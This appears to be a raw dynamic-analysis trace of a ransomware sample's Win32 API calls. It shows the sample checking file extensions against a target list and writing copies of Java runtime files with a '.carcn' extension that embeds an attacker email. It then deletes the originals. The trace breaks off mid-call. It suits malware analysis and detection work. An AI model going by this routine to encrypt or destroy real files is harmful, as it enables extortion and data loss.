[0262.771] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.771] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.771] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0262.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.792] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3752) returned 1 [0262.793] CloseHandle (hObject=0x528) returned 1 [0262.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0262.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.796] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.796] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0262.797] GetLastError () returned 0x0 [0262.797] ReadFile (in: hFile=0x528, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xea8, lpOverlapped=0x0) returned 1 [0262.824] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0262.825] ReadFile (in: hFile=0x528, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.826] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0262.826] SetEndOfFile (hFile=0x530) returned 1 [0262.826] CloseHandle (hObject=0x530) returned 1 [0262.828] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.828] SetEndOfFile (hFile=0x528) returned 1 [0262.838] CloseHandle (hObject=0x528) returned 1 [0262.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.838] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0262.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.840] lstrlenW (lpString=".doc") returned 4 [0262.840] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString=".docx") returned 5 [0262.840] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.840] lstrlenW (lpString=".pdf") returned 4 [0262.840] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString=".xls") returned 4 [0262.840] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString=".xlsx") returned 5 [0262.840] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.840] lstrlenW (lpString=".ppt") returned 4 [0262.840] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.840] lstrlenW (lpString=".zip") returned 4 [0262.840] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString=".rar") returned 4 [0262.840] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.840] lstrlenW (lpString=".bz2") returned 4 [0262.840] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString=".7z") returned 3 [0262.841] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.841] lstrlenW (lpString=".dbf") returned 4 [0262.841] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.841] lstrlenW (lpString=".1cd") returned 4 [0262.841] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.841] lstrlenW (lpString=".jpg") returned 4 [0262.841] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.841] lstrlenW (lpString=".doc") returned 4 [0262.841] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString=".docx") returned 5 [0262.841] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.841] lstrlenW (lpString=".pdf") returned 4 [0262.841] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString=".xls") returned 4 [0262.841] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.841] lstrlenW (lpString=".xlsx") returned 5 [0262.841] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.841] lstrlenW (lpString=".ppt") returned 4 [0262.841] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.842] lstrlenW (lpString=".zip") returned 4 [0262.842] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString=".rar") returned 4 [0262.842] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString=".bz2") returned 4 [0262.842] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString=".7z") returned 3 [0262.842] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.842] lstrlenW (lpString=".dbf") returned 4 [0262.842] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.842] lstrlenW (lpString=".1cd") returned 4 [0262.842] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0262.842] lstrlenW (lpString=".jpg") returned 4 [0262.842] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.842] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0262.842] lstrlenW (lpString="deploy.jar") returned 10 [0262.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0262.844] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=5040094) returned 1 [0262.844] CloseHandle (hObject=0x528) returned 1 [0262.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0262.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0262.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.845] lstrlenW (lpString=".doc") returned 4 [0262.845] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0262.845] lstrlenW (lpString=".docx") returned 5 [0262.845] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0262.845] lstrlenW (lpString=".pdf") returned 4 [0262.845] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0262.845] lstrlenW (lpString=".xls") returned 4 [0262.845] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0262.845] lstrlenW (lpString=".xlsx") returned 5 [0262.845] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0262.845] lstrlenW (lpString=".ppt") returned 4 [0262.845] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0262.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.845] lstrlenW (lpString=".zip") returned 4 [0262.845] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0262.845] lstrlenW (lpString=".rar") returned 4 [0262.845] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0262.845] lstrlenW (lpString=".bz2") returned 4 [0262.845] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0262.846] lstrlenW (lpString=".7z") returned 3 [0262.846] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.846] lstrlenW (lpString=".dbf") returned 4 [0262.846] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.846] lstrlenW (lpString=".1cd") returned 4 [0262.846] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.846] lstrlenW (lpString=".jpg") returned 4 [0262.846] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.846] lstrlenW (lpString=".doc") returned 4 [0262.846] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0262.846] lstrlenW (lpString=".docx") returned 5 [0262.846] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0262.846] lstrlenW (lpString=".pdf") returned 4 [0262.846] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0262.846] lstrlenW (lpString=".xls") returned 4 [0262.846] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0262.846] lstrlenW (lpString=".xlsx") returned 5 [0262.846] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0262.846] lstrlenW (lpString=".ppt") returned 4 [0262.846] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.847] lstrlenW (lpString=".zip") returned 4 [0262.847] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0262.847] lstrlenW (lpString=".rar") returned 4 [0262.847] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0262.847] lstrlenW (lpString=".bz2") returned 4 [0262.847] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0262.847] lstrlenW (lpString=".7z") returned 3 [0262.847] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.847] lstrlenW (lpString=".dbf") returned 4 [0262.847] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.847] lstrlenW (lpString=".1cd") returned 4 [0262.847] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0262.847] lstrlenW (lpString=".jpg") returned 4 [0262.847] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0262.847] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0262.847] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0262.847] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.194] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=188024) returned 1 [0263.194] CloseHandle (hObject=0x538) returned 1 [0263.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0263.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.194] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.195] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.204] GetLastError () returned 0x0 [0263.204] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2de78, lpOverlapped=0x0) returned 1 [0263.275] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2de80, lpOverlapped=0x0) returned 1 [0263.279] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.279] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfc, lpOverlapped=0x0) returned 1 [0263.279] SetEndOfFile (hFile=0x54c) returned 1 [0263.279] CloseHandle (hObject=0x54c) returned 1 [0263.291] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.291] SetEndOfFile (hFile=0x538) returned 1 [0263.297] CloseHandle (hObject=0x538) returned 1 [0263.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.298] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0263.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.299] lstrlenW (lpString=".doc") returned 4 [0263.299] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.299] lstrlenW (lpString=".docx") returned 5 [0263.299] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0263.299] lstrlenW (lpString=".pdf") returned 4 [0263.299] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.299] lstrlenW (lpString=".xls") returned 4 [0263.299] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.299] lstrlenW (lpString=".xlsx") returned 5 [0263.299] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0263.299] lstrlenW (lpString=".ppt") returned 4 [0263.299] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.299] lstrlenW (lpString=".zip") returned 4 [0263.299] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.299] lstrlenW (lpString=".rar") returned 4 [0263.299] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.299] lstrlenW (lpString=".bz2") returned 4 [0263.299] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.299] lstrlenW (lpString=".7z") returned 3 [0263.300] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.300] lstrlenW (lpString=".dbf") returned 4 [0263.300] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.300] lstrlenW (lpString=".1cd") returned 4 [0263.300] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.300] lstrlenW (lpString=".jpg") returned 4 [0263.300] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.300] lstrlenW (lpString=".doc") returned 4 [0263.300] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.300] lstrlenW (lpString=".docx") returned 5 [0263.300] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0263.300] lstrlenW (lpString=".pdf") returned 4 [0263.300] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.300] lstrlenW (lpString=".xls") returned 4 [0263.300] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.300] lstrlenW (lpString=".xlsx") returned 5 [0263.300] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0263.300] lstrlenW (lpString=".ppt") returned 4 [0263.300] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.301] lstrlenW (lpString=".zip") returned 4 [0263.301] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.301] lstrlenW (lpString=".rar") returned 4 [0263.301] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.301] lstrlenW (lpString=".bz2") returned 4 [0263.301] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.301] lstrlenW (lpString=".7z") returned 3 [0263.301] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.301] lstrlenW (lpString=".dbf") returned 4 [0263.301] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.301] lstrlenW (lpString=".1cd") returned 4 [0263.301] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0263.301] lstrlenW (lpString=".jpg") returned 4 [0263.301] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.301] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.301] lstrlenW (lpString="dnsns.jar") returned 9 [0263.302] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.302] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=8286) returned 1 [0263.302] CloseHandle (hObject=0x538) returned 1 [0263.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0263.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.303] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.303] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.304] GetLastError () returned 0x0 [0263.304] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x205e, lpOverlapped=0x0) returned 1 [0263.448] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2060, lpOverlapped=0x0) returned 1 [0263.449] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.449] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe6, lpOverlapped=0x0) returned 1 [0263.449] SetEndOfFile (hFile=0x54c) returned 1 [0263.450] CloseHandle (hObject=0x54c) returned 1 [0263.450] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, 